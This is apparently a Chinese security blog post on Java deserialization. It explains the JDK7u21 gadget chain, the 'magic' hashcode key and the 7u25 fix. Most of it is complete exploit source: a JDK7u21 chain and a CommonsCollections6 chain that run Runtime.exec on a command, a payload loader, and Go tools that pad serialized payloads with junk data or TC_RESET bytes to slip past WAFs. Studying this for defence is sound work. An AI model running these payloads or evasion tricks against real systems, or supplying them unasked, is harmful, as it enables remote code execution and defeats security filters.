1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
modCount++; addEntry(hash, key, value, i); return null; }
|
这里就是刚才说的插入的时候,先求出这个对象哈希值然后和所有的哈希值比较,如果哈希值相同了才会进入 equals 的逻辑(用来防止两个对象真的相同)。
巧妙的 Magic Number
计算哈希函数关键在这里:
可惜是 TemplatesImpl 的 hashcode 是直接继承于 Object 的 Native 方法,所以说理论无法预测。所以说只能寄希望于 proxy 的 hashcode 与之相等。
proxy 的 hashcode 会调用到AnnotationInvocationHandler#invoke 逻辑在这里:
1
| if (member.equals("hashCode")) return hashCodeImpl();
|
我们看看 hashCodeImpl 方法:
1 2 3 4 5 6 7 8
| private int hashCodeImpl() { int result = 0; for (Map.Entry e : memberValues.entrySet()) { result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue()); } return result; }
|
遍历 membersValues 的每个 key 和 value,计算每个 (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue()) 并求和。
如果我们能找到一个 hashcode 为 0 的对象作为 key,并异或上恶意的 TemplatesImpl 对象,这样 hashcode 就会和 TemplatesImpl 对象本身的 hashcode 相等了
这里我们找到了 f5a5a608 作为 key。
利用链梳理
- 生成一个恶意
TemplatesImpl 对象
- 实例化
AnnotationInvocationHandler:
type :TemplatesImpl.class
memeberValues:一个只有一对键值的 Map:key 是字符串 f5a5a608,value 是前面生成的 TempatesImpl 对象
- 对这个
AnnotationInvocationHandler 做一层代理
- 实例化一个
HashSet,含有 TemplatesImpl 对象和 proxy 对象,并对它进行序列化
反序列化链倒退
- 反序列化的时候触发
HashSet 的 readObject 去做存入 & 去重,存入 TemplatesImpl 的时候一切正常,存入 Proxy 的时候会开始判断是否相同。
- 计算两个元素
hashcode,因为相等直接触发 proxy.equals(templatesImpl) 方法
proxy.equals 方法会直接跳到 AnnotationInvocationHandler.invoke 并进一步的跳到 equalsImpl 方法
- 进一步的调用
TemplatesImpl#getOutputProperties() 方法触发 RCE。
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package com.app;
import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.*;
public class JDK7u21FullExp {
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Exploit_" + System.nanoTime()); cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] evilBytecodes = cc.toBytecode();
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecodes}); setFieldValue(templates, "_name", "PwnObject"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Map<String, Object> map = new HashMap<String, Object>(); String magicKey = "f5a5a608"; map.put(magicKey, templates);
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler") .getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ctor.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance( Templates.class.getClassLoader(), new Class[]{Templates.class}, handler);
HashSet<Object> set = new HashSet<Object>(); set.add(templates); set.add(proxy);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(set); oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); }
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
修复
JDK 7u25 在 sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject 函数中,检查如果不是 AnnotationType 这个 type 直接触发反序列化停止。
Java反序列化协议构造与分析
先甩两个工具:
SaverCode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.app;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CommonsCollections6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }), new ConstantTransformer(1) };
Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); String fileName = "cc6.ser"; try (FileOutputStream fos = new FileOutputStream(fileName); ObjectOutputStream oos = new ObjectOutputStream(fos)) { oos.writeObject(expMap); System.out.println("Payload 已成功写入到: " + fileName); } catch (IOException e) { e.printStackTrace(); } } }
|
LoaderCode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.app;
import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
public class CC6Loader { public static void main(String[] args) { String fileName = "D:\\Downloads\\shsh\\cc6-padding.ser"; System.out.println("[*] 正在尝试加载反序列化 Payload: " + fileName); try (FileInputStream fis = new FileInputStream(fileName); ObjectInputStream ois = new ObjectInputStream(fis)) { Object obj = ois.readObject(); System.out.println("[+] 反序列化成功完成。"); } catch (IOException e) { System.err.println("[-] 读取文件时出错: " + e.getMessage()); } catch (ClassNotFoundException e) { System.err.println("[-] 找不到必要的类依赖 (请检查 CommonsCollections 是否在 Classpath 中): " + e.getMessage()); } catch (Exception e) { System.err.println("[!] 触发过程产生异常,但 Payload 可能已执行: " + e.getMessage()); } } }
|
分析协议内容的话就得用 zkar 工具了:phith0n/zkar:ZKar 是一个用 Go 实现的 Java 序列化协议分析工具。 — phith0n/zkar: ZKar is a Java serialization protocol analysis tool implement in Go.
Java 序列化数据 Grammer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <stream> ::= <magic> <version> <contents>
<contents> ::= <content> | <contents> <content>
<content> ::= <object> | <blockdata>
<object> ::= <newObject> | <newClass> | <newArray> | <newString> | <newEnum> | <newClassDesc> | <prevObject> | <nullReference> | <exception> | <TC_RESET>
<magic> ::= 0xACED <version> ::= 0x0005
|
stream 部分就是 magic(0xaced)、version(5),contents
contents 部分这是一种左递归的结构,表示 contents 可以用下面几个(或0个) contents 和 content 构成。而 content 部分是由 object 或 blockdata 构成。
构造包含垃圾数据的序列化流
填充 blockdata
选择 blockdatalong 来填充,数据分为三部分:
TC_BLOCKDATALONG 标识符
- 数据长度
- 数据具体内容
选择 go 语言配合 zkar 包进行填充并使用 Loader
1 2
| go mod init test go get github.com/phith0n/zkar/serz
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package main
import ( "github.com/phith0n/zkar/serz" "io/ioutil" "log" "strings" )
func main() { data, _ := ioutil.ReadFile("cc6.ser") serialization, err := serz.FromBytes(data) if err != nil { log.Fatal("parse error") } var blockData = &serz.TCContent{ Flag: serz.JAVA_TC_BLOCKDATALONG, BlockData: &serz.TCBlockData{ Data: []byte(strings.Repeat("a", 40000)), }, } serialization.Contents = append(serialization.Contents, blockData) ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755) }
|
不过这种填充仍然有缺陷,原因是填充的师傅还是在 payload 后面,如果WAF是检查前N个字符仍然白填充垃圾字符了。
填充 TC_RESET
我们看一下 Java 处理 Grammer 的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| private Object readObject0(boolean unshared) throws IOException { byte tc; while ((tc = bin.peekByte()) == TC_RESET) { bin.readByte(); handleReset(); } depth++; try { switch (tc) { case TC_NULL: return readNull(); case TC_REFERENCE: return readHandle(unshared); case TC_CLASS: return readClass(unshared); case TC_CLASSDESC: case TC_PROXYCLASSDESC: return readClassDesc(unshared); case TC_STRING: case TC_LONGSTRING: return checkResolve(readString(unshared)); case TC_ARRAY: return checkResolve(readArray(unshared)); case TC_ENUM: return checkResolve(readEnum(unshared)); case TC_OBJECT: return checkResolve(readOrdinaryObject(unshared)); case TC_EXCEPTION: IOException ex = readFatalException(); throw new WriteAbortedException("writing aborted", ex); case TC_BLOCKDATA: case TC_BLOCKDATALONG: if (oldMode) { bin.setBlockDataMode(true); bin.peek(); throw new OptionalDataException( bin.currentBlockRemaining()); } else { throw new StreamCorruptedException( "unexpected block data"); } case TC_ENDBLOCKDATA: if (oldMode) { throw new OptionalDataException(true); } else { throw new StreamCorruptedException( "unexpected end of block data"); } default: throw new StreamCorruptedException( String.format("invalid type code: %02X", tc)); } } finally { depth--; bin.setBlockDataMode(oldMode); } }
|
我们思考既然 content 里的内容可以是 object 或 blockdata,那么为什么不能简单地把 blockdata 放在 object 前面。
那是因为在读到 blockdata 的时候他会判断 oldMode (默认是 false),如果还没找到就会抛出异常。如果 object 在前面的话 JVM 处理完 object 他就返回了,相当于没处理 blockdata,也就不会抛出异常了。
不过我们很惊喜的发现了有一段逻辑:
1 2 3 4
| while ((tc = bin.peekByte()) == TC_RESET) { bin.readByte(); handleReset(); }
|
递归循环获取并丢弃 TC_RESET,那我们不妨试试用这个字符来填充。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package main
import ( "github.com/phith0n/zkar/serz" "io/ioutil" "log" )
func main() { data, _ := ioutil.ReadFile("cc6.ser") serialization, err := serz.FromBytes(data) if err != nil { log.Fatal("parse error") } var contents []*serz.TCContent for i := 0; i < 5000; i++ { var blockData = &serz.TCContent{ Flag: serz.JAVA_TC_RESET, } contents = append(contents, blockData) } serialization.Contents = append(contents, serialization.Contents...) ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755) }
|
还是用 Loader 触发发现成功反序列化。